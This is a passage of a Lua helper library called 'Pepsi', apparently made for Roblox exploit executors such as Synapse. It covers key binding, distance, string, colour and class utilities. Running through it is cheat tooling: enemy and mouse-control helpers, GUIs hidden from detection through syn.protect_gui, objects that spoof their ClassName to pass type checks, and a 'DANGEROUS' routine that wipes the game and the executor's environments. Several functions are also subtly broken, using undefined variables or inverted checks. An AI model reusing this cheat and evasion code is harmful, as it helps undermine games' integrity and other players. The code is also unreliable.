2176 if typeof(vec1) == "Vector3" and typeof(vec2) == "Instance" and vec2:IsA("Player") then
2177 return vec2:DistanceFromCharacter(vec1)
2178 elseif typeof(vec2) == "Vector3" and typeof(vec1) == "Instance" and vec1:IsA("Player") then
2179 return vec1:DistanceFromCharacter(vec2)
2180 elseif typeof(vec2) == "Vector3" and typeof(vec1) == "Vector3" then
2181 return (vec1 - vec2).Magnitude
2182 end
2183 return def
2184end
2185function Pepsi.DummyFunc() -- 'Litteraly' does nothing
2186 return function()
2187 return function()
2188 return function()
2189 return function()
2190 return function()
2191 return function()
2192 return function()
2193 return function()
2194 return function()
2195 return function()
2196 return function()
2197 return function()
2198 return function()
2199 return function()
2200 return function()
2201 return function()
2202 return gcinfo -- Wynaut
2203 end
2204 end
2205 end
2206 end
2207 end
2208 end
2209 end
2210 end
2211 end
2212 end, "wut do wee have heer?"
2213 end
2214 end
2215 end
2216 end
2217 end
2218 end
2219end
2220function Pepsi.DoFor(func, dur, int)
2221 Pepsi.Arg(func, "function", 1, "Pepsi.DoFor")
2222 Pepsi.Arg(dur, "number", 2, "Pepsi.DoFor")
2223 local start = time()
2224 while time() - t < dur and "" ~= Pepsi.Wait(int) do
2225 func()
2226 end
2227end
2228function Pepsi.FromWaypoints(path)
2229 Pepsi.Arg(path, {"table", "Instance"}, 1, "Pepsi.FromWaypoints")
2230 if typeof(path):lower() == "path" then
2231 path = path:GetWaypoints()
2232 end
2233 local points = {}
2234 for k, v in pairs(path) do
2235 rawset(points, k, v.Position)
2236 end
2237 return points
2238end
2239function Pepsi.RouteDist(...)
2240 local args = {...}
2241 if type(args[1]) == "table" and type(args[2]) == "nil" then
2242 args = args[1]
2243 end
2244 local lastvec = table.remove(args, 1)
2245 local dist = 0
2246 for num, vec in pairs(args) do
2247 if typeof(vec) == "CFrame" then
2248 vec = vec.Position
2249 end
2250 if typeof(vec) == "Vector3" then
2251 dist, lastvec = tonumber(dist + tonumber((lastvec - vec).Magnitude)), vec
2252 end
2253 end
2254 return dist
2255end
2256function Pepsi.DistToTime(dist, ws)
2257 if typeof(dist) == "Instance" then
2258 dist = Pepsi.ToVector3(dist)
2259 end
2260 Pepsi.Arg(dist, {"CFrame", "Vector3", "number"}, 1, "Pepsi.DistToTime")
2261 Pepsi.Arg(ws, {"Instance", "number", "nil"}, 2, "Pepsi.DistToTime")
2262 if type(dist) ~= "number" then
2263 dist = Pepsi.Dist(Pepsi.ToVector3(dist))
2264 end
2265 if type(ws) ~= "number" then
2266 if not Pepsi.IsA(ws, "Humanoid") then
2267 ws = Pepsi.Human()
2268 Pepsi.Arg(ws, "Instance", 2, "Pepsi.DistToTime", "Could not get humanoid walkspeed")
2269 end
2270 ws = (ws or Pepsi.Human()).WalkSpeed
2271 end
2272 Pepsi.Arg(ws, "number", 2, "Pepsi.DistToTime", "Could not get humanoid walkspeed")
2273 return dist / ws
2274end
2275function Pepsi.OnKey(key, callback)
2276 if typeof(key) == "EnumItem" or type(key) == "string" and type(callback) == "function" then
2277 if type(key) == "string" then
2278 local oops, key = pcall(function()
2279 return Enum.KeyCode[key]
2280 end)
2281 if not oops and key then
2282 return Pepsi.Error(oops)
2283 end
2284 end
2285 if typeof(key) ~= "EnumItem" then
2286 return Pepsi.Error("Key supplied is not a keycode!")
2287 end
2288 if type(callback) ~= "function" then
2289 return Pepsi.Error("Callback supplied is not a function!")
2290 end
2291 if not Pepsi.Keys[key] then
2292 Pepsi.Keys[key] = {}
2293 end
2294 local k = Pepsi.NewClass("Connection", {
2295 ["function"] = {
2296 value = callback,
2297 types = "function"
2298 },
2299 connection = {
2300 value = nil,
2301 types = {"RBXScriptConnection", "nil"}
2302 },
2303 method = {
2304 value = "toggle",
2305 readonly = true
2306 },
2307 presses = {
2308 value = 0,
2309 types = "number"
2310 },
2311 enabled = {
2312 value = true,
2313 types = "boolean"
2314 },
2315 Disconnect = {
2316 value = function(self)
2317 if self and self.connection then
2318 self.connection:Disconnect()
2319 end
2320 self.enabled = false
2321 self = nil
2322 end,
2323 readonly = true
2324 },
2325 ClassName = {
2326 value = "RBXScriptConnection", -- For losers who do a typeof check
2327 readonly = true
2328 }
2329 }, false, nil, {
2330 __Address = "Connection"
2331 })
2332 table.insert(Pepsi.Keys[key], k)
2333 k.connection = game:GetService("UserInputService").InputEnded:Connect(function(input, typing)
2334 if k and k.enabled and input and not typing and input.UserInputType == Enum.UserInputType.Keyboard and input.KeyCode == key then
2335 k.presses = 1 + (k.presses or 0)
2336 return callback(({
2337 [0] = false,
2338 true
2339 })[k.presses % 2], k.presses)
2340 end
2341 end)
2342 return k
2343 end
2344end
2345function Pepsi.WhileKey(key, callback, interval)
2346 if typeof(key) == "EnumItem" or type(key) == "string" and type(callback) == "function" then
2347 if type(key) == "string" then
2348 local oops, key = pcall(function()
2349 return Enum.KeyCode[key]
2350 end)
2351 if not oops and key then
2352 return Pepsi.Error(oops)
2353 end
2354 if typeof(key) ~= "EnumItem" then
2355 return Pepsi.Error("Key supplied is not a keycode!")
2356 end
2357 if type(callback) ~= "function" then
2358 return Pepsi.Error("Callback supplied is not a function!")
2359 end
2360 if type(interval) == "nil" then
2361 return Pepsi.Error("Interval supplied is not a supported!")
2362 end
2363 local down = false
2364 return game:GetService("UserInputService").InputBegan:Connect(function(input, typing)
2365 if input and not typing and input.UserInputType == Enum.UserInputType.Keyboard and input.KeyCode == key then
2366 down = true
2367 local t = time()
2368 while down do
2369 callback(time() - t)
2370 Pepsi.Wait(interval)
2371 end
2372 end
2373 end), game:GetService("UserInputService").InputEnded:Connect(function(input, typing)
2374 if input and not typing and input.UserInputType == Enum.UserInputType.Keyboard and input.KeyCode == key then
2375 down = false
2376 end
2377 end)
2378 end
2379 end
2380end
2381function Pepsi.Destroy(...) -- Completely destroys any object(s)/table(s), and leaves no trace (DANGEROUS)
2382 local obj, s = nil, 0
2383 if ... == nil then
2384 if getreg then
2385 obj = Pepsi.ecall(getreg) or {game:GetChildren()}
2386 pcall(function()
2387 for k, v in pairs(game:GetChildren()) do
2388 pcall(function()
2389 table.insert(obj, v)
2390 end)
2391 end
2392 end)
2393 if getgenv and getrenv and syn and getgc and getscripts then
2394 pcall(function()
2395 for k, v in pairs(getgenv()) do
2396 pcall(function()
2397 table.insert(obj, v)
2398 end)
2399 end
2400 end)
2401 pcall(function()
2402 for k, v in pairs(getrenv()) do
2403 pcall(function()
2404 table.insert(obj, v)
2405 end)
2406 end
2407 end)
2408 pcall(function()
2409 for k, v in pairs(syn) do
2410 pcall(function()
2411 table.insert(obj, v)
2412 end)
2413 end
2414 end)
2415 pcall(function()
2416 for k, v in pairs(getgc()) do
2417 pcall(function()
2418 table.insert(obj, v)
2419 end)
2420 end
2421 end)
2422 pcall(function()
2423 for k, v in pairs(getscripts()) do
2424 pcall(function()
2425 table.insert(obj, v)
2426 end)
2427 end
2428 end)
2429 end
2430 table.insert(obj, game)
2431 else
2432 obj = {game:GetChildren()}
2433 end
2434 end
2435 if Pepsi.IsA(..., "table") then
2436 obj = ...
2437 end
2438 obj = obj or {...}
2439 for k, v in pairs(obj) do
2440 s = 1 + (s or 0)
2441 if s >= 50 then
2442 Pepsi.Sleep()
2443 s = 0
2444 end
2445 Pepsi.Msg("Destroying:" .. tostring(v))
2446 pcall(spawn, function()
2447 if Pepsi.IsA(v, game) then
2448 pcall(function()
2449 v:ClearAllChildren()
2450 v:Destroy()
2451 v:Remove()
2452 v.Parent = nil
2453 game:GetService("Debris"):AddItem(v)
2454 end)
2455 elseif Pepsi.IsA(v, typeof) then
2456 pcall(function()
2457 if debug.getupvalues then
2458 for _k, _v in pairs(debug.getupvalues(v)) do
2459 pcall(spawn, function()
2460 _v = nil
2461 _k = nil
2462 end)
2463 end
2464 end
2465 v = nil
2466 end)
2467 pcall(function()
2468 if debug.getstack then
2469 for _k, _v in pairs(debug.getstack(v)) do
2470 pcall(spawn, function()
2471 _v = nil
2472 _k = nil
2473 end)
2474 end
2475 end
2476 v = nil
2477 end)
2478 pcall(function()
2479 if debug.getconstants then
2480 for _k, _v in pairs(debug.getconstants(v)) do
2481 pcall(spawn, function()
2482 _v = nil
2483 _k = nil
2484 end)
2485 end
2486 end
2487 v = nil
2488 end)
2489 elseif Pepsi.IsA(v, {}) then
2490 pcall(Pepsi.spawn, table.foreach, v, Pepsi.Destroy)
2491 elseif nil ~= v then
2492 pcall(function()
2493 v = nil
2494 end)
2495 end
2496 end)
2497 end
2498end
2499function Pepsi.WaitUntil(signal, timeout, default) -- RBXScriptSignal:Wait() but with a timeout
2500 local thread = coroutine.running()
2501 local done = false
2502 local connection
2503 connection = signal:Connect(function(...)
2504 connection:Disconnect()
2505 done = true
2506 coroutine.resume(thread, true, ...)
2507 end)
2508 delay(timeout, function()
2509 if done then
2510 return
2511 end
2512 connection:Disconnect()
2513 connection = nil
2514 coroutine.resume(thread, false, default)
2515 end)
2516 return coroutine.yield()
2517end
2518function Pepsi.Center(gui) -- Center's a gui frame object
2519 gui.Position = UDim2.new(0.5, -math.abs(gui.AbsoluteSize.X / 2), 0.5, -math.abs(gui.AbsoluteSize.Y / 2))
2520end
2521function Pepsi.Name(obj)
2522 if obj == nil then
2523 return string.simplify(game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId).Name)
2524 elseif typeof(obj) == "Instance" then
2525 return obj:GetFullName()
2526 elseif type(obj) == "table" then
2527 return rawget(obj, "Name") or rawget(obj, "name")
2528 elseif type(obj) == "number" then
2529 return string.simplify(game:GetService("MarketplaceService"):GetProductInfo(obj).Name)
2530 end
2531 return tostring(obj)
2532end
2533function Pepsi.HoveredGui(x, y)
2534 local nx, ny = Pepsi.MousePos()
2535 x, nx, y, ny = type(x) == "number" and x or nx, nil, type(y) == "number" and y or ny, nil
2536 return table.softmerge(game:GetService("CoreGui"):GetGuiObjectsAtPosition(x, y), game:GetService("Players").LocalPlayer:WaitForChild("PlayerGui"):GetGuiObjectsAtPosition(x, y), game:GetService("StarterGui"):GetGuiObjectsAtPosition(x, y))
2537end
2538function Pepsi.ocall(...)
2539 local calls = {...}
2540 for k, v in pairs(calls) do
2541 local s, r = pcall(unpack(v))
2542 if #calls == k then
2543 return s, r
2544 end
2545 end
2546end
2547function Pepsi.eocall(...)
2548 local calls = {...}
2549 for k, v in pairs(calls) do
2550 local r = Pepsi.ecall(unpack(v))
2551 if #calls == k then
2552 return r
2553 end
2554 end
2555end
2556function Pepsi.oycall(...)
2557 local calls = {...}
2558 for k, v in pairs(calls) do
2559 local r = Pepsi.ycall(unpack(v))
2560 if #calls == k then
2561 return r
2562 end
2563 end
2564end
2565function Pepsi.eoycall(...)
2566 local calls = {...}
2567 for k, v in pairs(calls) do
2568 local r = Pepsi.eycall(unpack(v))
2569 if #calls == k then
2570 return r
2571 end
2572 end
2573end
2574function B64Enc(data)
2575 return ((data:gsub(".", function(x)
2576 local r, chars = "", x:byte()
2577 for i = 8, 1, -1 do
2578 r = r .. (chars % 2 ^ i - chars % 2 ^ (i - 1) > 0 and "1" or "0")
2579 end
2580 return r
2581 end) .. "0000"):gsub("%d%d%d?%d?%d?%d?", function(x)
2582 if (#x < 6) then
2583 return ""
2584 end
2585 local c = 0
2586 for i = 1, 6 do
2587 c = c + (x:sub(i, i) == "1" and 2 ^ (6 - i) or 0)
2588 end
2589 return chars:sub(c + 1, c + 1)
2590 end) .. ({
2591 "",
2592 "==",
2593 "="
2594 })[#data % 3 + 1])
2595end
2596function Pepsi.B64Dec(data)
2597 data = string.gsub(data, "[^" .. chars .. "=]", "")
2598 return (data:gsub(".", function(x)
2599 if (x == "=") then
2600 return ""
2601 end
2602 local r, f = "", (chars:find(x) - 1)
2603 for i = 6, 1, -1 do
2604 r = r .. (f % 2 ^ i - f % 2 ^ (i - 1) > 0 and "1" or "0")
2605 end
2606 return r
2607 end):gsub("%d%d%d?%d?%d?%d?%d?%d?", function(x)
2608 if (#x ~= 8) then
2609 return ""
2610 end
2611 local c = 0
2612 for i = 1, 8 do
2613 c = c + (x:sub(i, i) == "1" and 2 ^ (8 - i) or 0)
2614 end
2615 return string.char(c)
2616 end))
2617end
2618function Pepsi.Decode(str, num)
2619 num = tonumber(num or 0XC)
2620 return tostring(str:gsub("..", function(d)
2621 return string.char(math.xor(tonumber(d, 0X10), num))
2622 end))
2623end
2624function Pepsi.Encode(str, num)
2625 num = tonumber(num or 0XC)
2626 return tostring(str:gsub(".", function(d)
2627 return string.format("%02X", math.xor(d:byte(), num))
2628 end))
2629end
2630function Pepsi.NewClass(classname, properties, newindex, signals, custom_meta) -- Some srsly powerful shit
2631 local f = "Pepsi.NewClass"
2632 Pepsi.Arg(classname, {"string", "nil"}, 1, f)
2633 Pepsi.Arg(properties, {"table", "nil"}, 2, f)
2634 Pepsi.Arg(newindex, {"boolean", "nil"}, 3, f)
2635 Pepsi.Arg(signals, {"table", "nil"}, 4, f)
2636 Pepsi.Arg(custom_meta, {"table", "nil"}, 5, f)
2637 local default = {
2638 ClassName = tostring(classname)
2639 }
2640 local rules = {
2641 ClassName = {
2642 value = tostring(classname),
2643 readonly = true,
2644 types = {
2645 ["string"] = true
2646 }
2647 }
2648 }
2649 local classsignals = {}
2650 if "table" == type(properties) then
2651 for key, data in pairs(properties) do
2652 Pepsi.Arg(data, "table", 2, f, "Value must be a table")
2653 Pepsi.Arg(data.readonly, {"nil", "boolean"}, 2, f, "readonly must be a boolean")
2654 Pepsi.Arg(data.types, {"table", "string", "nil"}, 2, f, "type(s) must be a string")
2655 if not data.types and data.readonly then
2656 data.types = {typeof(data.value)}
2657 end
2658 if type(data.types) ~= "table" then
2659 data.types = {data.types}
2660 end
2661 if type(data.types) == "table" then
2662 data.types = table.dictionary(data.types)
2663 end
2664 if dbg and data.readonly and dbg.sro and type(data.value) == "table" then
2665 pcall(dbg.sro, data.value, true)
2666 end
2667 default[key] = data.value
2668 rules[key] = data
2669 end
2670 end
2671 if "table" == type(signals) then
2672 for key, data in pairs(signals) do
2673 Pepsi.Arg(data, "table", 4, f, "Value must be a table")
2674 Pepsi.Arg(data.readonly, {"nil", "boolean"}, 4, f, "readonly must be a boolean")
2675 Pepsi.Arg(data.triggers, {"table", "RBXScriptSignal", "Instance"}, 4, f, "trigger(s) must be a Signal or BindableEvent")
2676 if typeof(data.triggers) == "Instance" and not data.trigger:IsA("BindableEvent") then
2677 Pepsi.Arg(nil, {"RBXScriptSignal", "Instance"}, 4, f, "trigger(s) must be a Signal or BindableEvent")
2678 end
2679 if nil == data.readonly then
2680 data.readonly = true
2681 end
2682 local signal = newproxy(true)
2683 local name = tostring("Signal " .. key)
2684 local functionality = getmetatable(signal)
2685 function functionality.__tostring(self)
2686 return name
2687 end
2688 functionality.__metatable = "The metatable is locked"
2689 functionality.__arguments = {}
2690 functionality.__signals = {}
2691 functionality.__bindable = Instance.make("BindableEvent", {
2692 Name = name
2693 })
2694 functionality.__index = {
2695 ClassName = "RBXScriptSignal"
2696 }
2697 function functionality.__index:Wait()
2698 functionality.__bindable.Event:Wait()
2699 return unpack(functionality.__arguments, 0X1, functionality.__arguments[0X0])
2700 end
2701 function functionality.__index:Connect(func)
2702 return functionality.__bindable.Event:Connect(function()
2703 func(unpack(functionality.__arguments, 0X1, functionality.__arguments[0X0]))
2704 end)
2705 end
2706 if not data.readonly then
2707 function functionality.__index:Fire(...)
2708 functionality.__arguments = {[0X0] = select("#", ...), ...}
2709 functionality.__bindable:Fire()
2710 functionality.__arguments = nil
2711 end
2712 function functionality.__index:Destroy()
2713 if #functionality.__signals > 0 then
2714 for _, connection in pairs(functionality.__signals) do
2715 connection:Disconnect()
2716 connection = nil
2717 end
2718 functionality.__signals = {}
2719 end
2720 functionality.__bindable:Destroy()
2721 functionality.__bindable = nil
2722 functionality.__arguments = nil
2723 signal = nil
2724 end
2725 end
2726 function functionality.__newindex(self, property, value)
2727 return error(property .. " cannot be assigned to", 3)
2728 end
2729 if type(data.triggers) ~= "table" then
2730 data.triggers = {data.triggers}
2731 end
2732 for _, sig in pairs(data.triggers) do
2733 Pepsi.Arg(sig, {"RBXScriptSignal", "Instance"}, 4, f, "trigger(s) must be a Signal or BindableEvent")
2734 if typeof(data.triggers) == "Instance" and not data.trigger:IsA("BindableEvent") then
2735 Pepsi.Arg(nil, {"RBXScriptSignal", "Instance"}, 4, f, "trigger(s) must be a Signal or BindableEvent")
2736 end
2737 local s = typeof(sig) == "RBXScriptSignal" and sig or sig.Event
2738 table.insert(functionality.__signals, s:Connect(function(...)
2739 functionality.__arguments = {[0X0] = select("#", ...), ...}
2740 functionality.__bindable:Fire()
2741 functionality.__arguments = nil
2742 end))
2743 end
2744 default[key] = signal
2745 rules[key] = {
2746 readonly = true
2747 }
2748 classsignals[key] = signal
2749 end
2750 end
2751 local userdata = newproxy(true)
2752 local functionality = getmetatable(userdata)
2753 functionality.__metatable = "The metatable is locked"
2754 functionality.__Address = tostring(userdata):gsub("userdata", tostring(classname))
2755 functionality.__index = default
2756 function functionality.__tostring(self)
2757 return functionality.__Address
2758 end
2759 function functionality.__newindex(self, property, value)
2760 if rawget(rules, property) then
2761 if rules[property].readonly then
2762 return error("can't set value", 3)
2763 elseif not rules[property].types[typeof(value)] then
2764 if type(value) == "string" then
2765 return error("Invalid value \"\r" .. tostring(value:sub(1, 80)) .. "\" for " .. classname, 3)
2766 elseif type(value) == "number" then
2767 return error("Invalid value \r" .. tostring(value) .. " for " .. classname, 3)
2768 end
2769 return error("Invalid value for " .. classname, 3)
2770 else
2771 return rawset(default, property, value)
2772 end
2773 elseif newindex then
2774 return rawset(default, property, value)
2775 else
2776 return error(property .. " is not a valid member of " .. classname, 3)
2777 end
2778 end
2779 if type(custom_meta) == "table" then
2780 for typ, meta in pairs(custom_meta) do
2781 functionality[typ] = meta
2782 end
2783 end
2784 return userdata--, classsignals -- Walla
2785end
2786function Pepsi.FixMouse()
2787 if mousemoveabs then
2788 mousemoveabs(Pepsi.Viewport(0.5, 0.5))
2789 wait()
2790 return mousemoverel(1, 1)
2791 end
2792end
2793Pepsi.Humanoid = Pepsi.Human
2794Pepsi.GetUi = Pepsi.GetUI
2795Pepsi.Waypoint = FromWaypoints
2796Pepsi.Waypoints = FromWaypoints
2797Pepsi.arg = Pepsi.Arg
2798Pepsi.HoverGui = Pepsi.HoveredGui
2799Pepsi.GuiUnderMouse = Pepsi.HoveredGui
2800Pepsi.GuiMouse = Pepsi.HoveredGui
2801Pepsi.GetGui = Pepsi.HoveredGui
2802Pepsi.CenterMouse = Pepsi.FixMouse
2803Pepsi.Others = Pepsi.GetOthers
2804Pepsi.Message = Pepsi.Splash
2805Pepsi.Distance = Pepsi.Dist
2806Pepsi.MoveMouseAbs = Pepsi.MoveMouse
2807Pepsi.Enemy = Pepsi.GetEnemy
2808Pepsi.Enemies = Pepsi.GetEnemy
2809Pepsi.WaitFor = Pepsi.WaitOnAny
2810Pepsi.WaitOn = Pepsi.WaitOnAny
2811Pepsi.yfecall = Pepsi.efycall
2812Pepsi.fyecall = Pepsi.efycall
2813Pepsi.yefcall = Pepsi.efycall
2814Pepsi.feycall = Pepsi.efycall
2815Pepsi.eyfcall = Pepsi.efycall
2816Pepsi.fyscall = Pepsi.fsycall
2817Pepsi.sfycall = Pepsi.fsycall
2818Pepsi.yfscall = Pepsi.fsycall
2819Pepsi.syfcall = Pepsi.fsycall
2820Pepsi.ysfcall = Pepsi.fsycall
2821Pepsi.yscall = Pepsi.sycall
2822Pepsi.yfcall = Pepsi.fycall
2823Pepsi.fecall = Pepsi.efcall
2824Pepsi.sfcall = Pepsi.fscall
2825Pepsi.HasMark = Pepsi.IsMarked
2826function string.rawfind(s, f, p)
2827 if type(p) ~= "number" then
2828 p = nil
2829 end
2830 return string.find(s, f, p, true)
2831end
2832function string.pack(str, split)
2833 Pepsi.Arg(str, "string", 1, "string.pack")
2834 Pepsi.Arg(split, {"string", "nil", "number"}, 2, "string.pack")
2835 if type(split) == "number" then
2836 split = string.rep(".", split)
2837 elseif not split then
2838 split = "."
2839 end
2840 local t = {}
2841 str:gsub(str, split, function(c)
2842 table.insert(t, c)
2843 end)
2844 return t
2845end
2846function string.simplify(str)
2847 return tostring(tostring(str or ""):gsub(".", function(c)
2848 if c:find("%d") or c:find("%W") then
2849 return ""
2850 end
2851 end))
2852end
2853function string.filter(s_str)
2854 return tostring(tostring(s_str or ""):gsub(".", function(c)
2855 if c:upper() == c:lower() then
2856 return "\\" .. (string.byte(c) or c)
2857 end
2858 end) or "")
2859end
2860function string.bytes(s_str)
2861 s_str = tostring(s_str or "")
2862 return tostring(s_str:gsub(".", function(c)
2863 return ("\\" .. c:byte()) or c or ""
2864 end))
2865end
2866function string.hex(str)
2867 return (str:gsub(".", function(h)
2868 return string.format("%02X", string.byte(h))
2869 end))
2870end
2871function string.unhex(str)
2872 return (str:gsub("..", function(hx)
2873 return string.char(tonumber(hx, 0X10))
2874 end))
2875end
2876function string.getvalue(str)
2877 return Pepsi.ecall(loadstring("return (" .. str .. ")"))
2878end
2879function string.chars(s_str)
2880 s_str = tostring(s_str or ""):sub(1, 200)
2881 local len, pos = s_str:len(), 0
2882 return "string.char(" .. tostring(s_str:gsub(".", function(c)
2883 pos = 1 + pos
2884 return "0X" .. tostring(string.format("%X", c:byte())) .. tostring((function()
2885 if pos >= len then
2886 return ""
2887 end
2888 return ", "
2889 end)())
2890 end)) .. ")"
2891end
2892function string.stringify(...) -- replicates a , in argument
2893 local s = ""
2894 local strands = {...}
2895 while #strands > 0 do
2896 local cs = table.remove(strands, 1)
2897 if cs:len() > 0 then
2898 if s:len() > 0 then
2899 s = s .. (" "):rep(4)
2900 end
2901 s = s .. tostring(cs or "")
2902 end
2903 end
2904 return tostring(s)
2905end
2906function string.charify(s_str) -- turn text into number
2907 s_str = tostring(s_str or "")
2908 if s_str:len() < 200 then
2909 return string.chars(s_str)
2910 else
2911 local num = 0
2912 return "(" .. s_str:gsub(string.rep(".", 200), function(str)
2913 num = 1 + num
2914 if num == 1 then
2915 return string.chars(str)
2916 end
2917 return " .. " .. string.chars(str)
2918 end) .. ")"
2919 end
2920end
2921function string.num(...)
2922 local args = {...}
2923 if #args == 1 then
2924 if type(args[1]) == "number" then
2925 return ...
2926 end
2927 if type(tostring(args[1])) == "string" then
2928 local temp = tostring(args[1]):gsub("%D", "")
2929 if temp:len() <= 0 then
2930 return
2931 end
2932 return tonumber(temp)
2933 end
2934 return ...
2935 end
2936 local nargs = {} -- No disrespect, just short for new_args
2937 for k = 1, #args do
2938 Pepsi.ecall(function()
2939 local v = args[k]
2940 if type(v) == "string" then
2941 nargs[k] = tonumber(({v:gsub("%D", "")})[1])
2942 end
2943 end)
2944 end
2945 return unpack(nargs)
2946end
2947function string.split(text, pattern, plain) -- Sorta like a tokenizer
2948 local ret = {}
2949 for match in (function(text, pattern, plain)
2950 local splitStart, length = 1, #text
2951 return function()
2952 if splitStart then
2953 local sepStart, sepEnd = string.find(text, pattern, splitStart, plain)
2954 local ret
2955 if not sepStart then
2956 ret = string.sub(text, splitStart)
2957 splitStart = nil
2958 elseif sepEnd < sepStart then
2959 ret = string.sub(text, splitStart, sepStart)
2960 if sepStart < length then
2961 splitStart = sepStart + 1
2962 else
2963 splitStart = nil
2964 end
2965 else
2966 ret = sepStart > splitStart and string.sub(text, splitStart, sepStart - 1) or ""
2967 splitStart = sepEnd + 1
2968 end
2969 return ret
2970 end
2971 end
2972 end)(text, pattern, plain) do
2973 table.insert(ret, match)
2974 end
2975 return ret
2976end
2977function string.raw(str) -- \\65 > A
2978 return rawget(({str:gsub("\\(%d+)", string.char)}), 1)
2979end
2980function string.new(len)
2981 len = tonumber(len or math.random(3, 10)) or math.random(3, 10)
2982 return string.rep("_", len):gsub(".", function()
2983 return string[({"lower", "upper"})[math.random(2)]](string.char(math.random(65, 90))) -- Clever
2984 end)
2985end
2986string.nums = string.num
2987function Color3.blend(clr1, clr2, n) -- Mix n' match colors
2988 Pepsi.Arg(clr1, "Color3", 1, "Color3.blend")
2989 Pepsi.Arg(clr2, "Color3", 2, "Color3.blend")
2990 Pepsi.Arg(n, {"nil", "number"}, 3, "Color3.blend")
2991 n = tonumber(n or 0.5)
2992 if n > 1 then
2993 n = n / 100
2994 end
2995 if typeof(clr1) == "Color3" and typeof(clr2) == "Color3" then
2996 return clr1:Lerp(clr2, n)
2997 end
2998 return Color3.new()
2999end
3000function Color3.Pow(clr, pow)
3001 Pepsi.Arg(clr, "Color3", 1, "Color3.Pow")
3002 Pepsi.Arg(mod, "number", 2, "Color3.Pow")
3003 return Color3.new(math.pow(clr.r, pow), math.pow(clr.g, pow), math.pow(clr.b, pow))
3004end
3005function Color3.LerpGamma(clr1, clr2, amount, gamma)
3006 Pepsi.Arg(clr1, "Color3", 1, "Color3.LerpGamma")
3007 Pepsi.Arg(clr2, "Color3", 2, "Color3.LerpGamma")
3008 Pepsi.Arg(amount, {"nil", "number"}, 3, "Color3.LerpGamma")
3009 Pepsi.Arg(gamma, {"nil", "number"}, 4, "Color3.LerpGamma")
3010 amount, gamma = tonumber(amount or 0.5), tonumber(gamma or 1)
3011 return Color3.Pow(Color3.Pow(clr1, gamma):lerp(Color3.Pow(clr2, gamma), amount), math.inverse(gamma))
3012end
3013function Color3.invert(clr, mod) -- Inverts a color3
3014 Pepsi.Arg(clr, "Color3", 1, "Color3.invert")
3015 Pepsi.Arg(mod, {"nil", "number"}, 2, "Color3.invert")
3016 mod = tonumber(mod or 1)
3017 if mod > 1 then
3018 mod = mod / 100
3019 end
3020 mod = math.range(mod, 0, 1)
3021 if typeof(clr) == "Color3" then
3022 return Color3.new(
3023 mod - clr.r,
3024 mod - clr.g,
3025 mod - clr.b
3026 )
3027 end
3028 return Color3.new()
3029end
3030Color3.mix = Color3.blend
3031function string.scramble(minlen, maxlen) -- Return a cluster fuck of ascii spam
3032 Pepsi.Arg(minlen, {"nil", "number"}, 1, "string.scramble")
3033 Pepsi.Arg(maxlen, {"nil", "number"}, 2, "string.scramble")
3034 minlen = math.abs(tonumber(minlen or math.random(3, 20)))
3035 maxlen = math.abs(tonumber(maxlen or math.random(70, 120)))
3036 return (string.rep("x", math.random(minlen or math.random(3, 20), maxlen or math.random(70, 120))):gsub(".", function(...)
3037 return (string.rtl .. ({utf8.char(128105), utf8.char(10084), utf8.char(128139), utf8.char(127809), utf8.char(127764), utf8.char(128690), utf8.char(9851), utf8.char(128104), utf8.char(128103), utf8.char(128102), utf8.char(127465), utf8.char(128077), utf8.char(128078), utf8.char(10), utf8.char(13), utf8.char(879), utf8.char(95), utf8.char(61), utf8.char(40), utf8.char(41), utf8.char(91), utf8.char(93), utf8.char(34), utf8.char(39), utf8.char(92), utf8.char(47), utf8.char(123), utf8.char(125), utf8.char(64), utf8.char(35), utf8.char(36), utf8.char(37), utf8.char(94), utf8.char(38), utf8.char(42), utf8.char(32), utf8.char(804), utf8.char(1161), utf8.char(848), utf8.char(871), utf8.char(838), utf8.char(785), utf8.char(869), utf8.char(850), utf8.char(768), utf8.char(799), utf8.char(828), utf8.char(792), utf8.char(840), utf8.char(851), utf8.char(810), utf8.char(801), utf8.char(850), utf8.char(777), utf8.char(872), utf8.char(827), utf8.char(796), utf8.char(828), utf8.char(799), utf8.char(845), utf8.char(790), utf8.char(806), utf8.char(817), utf8.char(798), utf8.char(846), utf8.char(823), utf8.char(868), utf8.char(843), utf8.char(771), utf8.char(839), utf8.char(852), utf8.char(868), utf8.char(786), utf8.char(803), utf8.char(816), utf8.char(793), utf8.char(805), utf8.char(804), utf8.char(854), utf8.char(811), utf8.char(791), utf8.char(833), utf8.char(794), utf8.char(830), utf8.char(842), utf8.char(869), utf8.char(781), utf8.char(779), utf8.char(783), utf8.char(873), utf8.char(876), utf8.char(878), utf8.char(774), utf8.char(809), utf8.char(836), utf8.char(784), utf8.char(849), utf8.char(829), utf8.char(773), utf8.char(113), utf8.char(119), utf8.char(101), utf8.char(114), utf8.char(116), utf8.char(121), utf8.char(117), utf8.char(105), utf8.char(111), utf8.char(112), utf8.char(97), utf8.char(115), utf8.char(100), utf8.char(102), utf8.char(103), utf8.char(104), utf8.char(106), utf8.char(107), utf8.char(108), utf8.char(59), utf8.char(122), utf8.char(120), utf8.char(99), utf8.char(118), utf8.char(98), utf8.char(110), utf8.char(109), utf8.char(46), utf8.char(44), utf8.char(81), utf8.char(87), utf8.char(69), utf8.char(82), utf8.char(84), utf8.char(89), utf8.char(85), utf8.char(73), utf8.char(79), utf8.char(80), utf8.char(65), utf8.char(83), utf8.char(68), utf8.char(70), utf8.char(71), utf8.char(72), utf8.char(74), utf8.char(75), utf8.char(76), utf8.char(90), utf8.char(88), utf8.char(67), utf8.char(86), utf8.char(66), utf8.char(78), utf8.char(77), utf8.char(49), utf8.char(50), utf8.char(51), utf8.char(52), utf8.char(53), utf8.char(54), utf8.char(55), utf8.char(56), utf8.char(57), utf8.char(48), utf8.char(96), utf8.char(126)})[math.random(1, 166)]) or tostring(... or string.rtl) or string.rtl
3038 end))
3039end
3040function Instance.new(class, parent) -- Hides all gui classes via synapse users
3041 local i = old_new(class)
3042 if typeof(i) == "Instance" and type(syn) == "table" and type(syn.protect_gui) == "function" and i:IsA("GuiBase") then
3043 pcall(syn.protect_gui, i)
3044 end
3045 if parent then
3046 i.Parent = parent
3047 end
3048 return i
3049end
3050function Instance.make(class, properties, disapear)
3051 if Pepsi.IsA(class, game) then
3052 class = class.ClassName
3053 end
3054 local nstance = Pepsi.ecall(Instance.new, class)
3055 if typeof(properties) == "Instance" and typeof(nstance) == "Instance" then
3056 nstance.Parent = properties
3057 elseif typeof(properties) == "table" and typeof(nstance) == "Instance" then
3058 for property, value in pairs(properties) do
3059 pcall(function()
